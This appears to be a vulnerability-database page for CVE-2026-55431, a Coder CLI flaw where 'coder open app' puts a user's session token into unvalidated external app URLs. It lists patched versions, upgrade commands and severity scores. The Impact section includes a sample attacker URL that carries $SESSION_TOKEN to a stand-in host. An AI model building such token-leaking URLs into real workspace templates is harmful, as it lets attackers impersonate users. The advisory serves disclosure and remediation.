Skip to main content

CVE-2026-55431 — Vulnerability in github.com/coder/coder/v2

HIGH

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Published July 6, 2026Updated July 7, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.34%). Schedule for your next planned update.

Does your project use an affected github.com/coder/coder/v2 version?

Paste your go.sum to check it for CVE-2026-55431 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

Release linePatched version
2.34v2.34.2
2.33v2.33.8
2.32v2.32.7
2.29 (ESR)v2.29.17

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

  • Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Advisory Timeline

  • First published July 6, 2026 (143 days ago).
  • Last revised July 7, 2026 — 1 day after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/coder/coder/v2 to 2.32.7 or later
go get github.com/coder/coder/v2@v2.32.7
Go
Update github.com/coder/coder/v2 to 2.34.2 or later
go get github.com/coder/coder/v2@v2.34.2
Go
Update github.com/coder/coder/v2 to 2.29.17 or later
go get github.com/coder/coder/v2@v2.29.17
Go
Update github.com/coder/coder/v2 to 2.33.8 or later
go get github.com/coder/coder/v2@v2.33.8

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (4)

Affects 1 ecosystem: Go (1).

PackageFixed In
github.com/coder/coder/v2 Go · Affected: All versions2.32.7
github.com/coder/coder/v2 Go · Affected: All versions2.34.2
github.com/coder/coder/v2 Go · Affected: All versions2.29.17
github.com/coder/coder/v2 Go · Affected: All versions2.33.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.7 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-55431?
Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.7/10).
How do I check if my project is affected by CVE-2026-55431?
CVE-2026-55431 affects github.com/coder/coder/v2. It has a 0.3% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-55431 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.7

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.34%
EPSS percentile: 19.5

This is a below-median EPSS score — only 19.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-v54h-cp2w-9x4g
GO-2026-5924

Related CVEs

  • CVE-2026-46354
    CRITICAL

    Coder: PKCS#7 signature bypass in Azure instance identity allows unauthenticated agent token theft

  • CVE-2026-108262
    HIGH

    DDEV incomplete tar symlink traversal fix allows host file overwrite - Incomplete fix of CVE-2026-32885

  • CVE-2026-55429
    HIGH

    Coder's workspace app upsert allows cross-workspace agent rebinding via user-controlled app ID

  • CVE-2026-44454
    HIGH

    Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent

  • CVE-2026-130007
    HIGH

    k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution

  • CVE-2026-55427
    HIGH

    Coder vulnerable to SSH config injection via unsanitized server-supplied values in `coder config-ssh`

  • CVE-2026-63443
    HIGH

    Coder's workspace agent API insecure redirect handling allowed cross-agent file read and write

  • CVE-2026-55428
    HIGH

    Coder: Route hijacking through lack of validation of agent-supplied AllowedIPs in tailnet coordinator

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum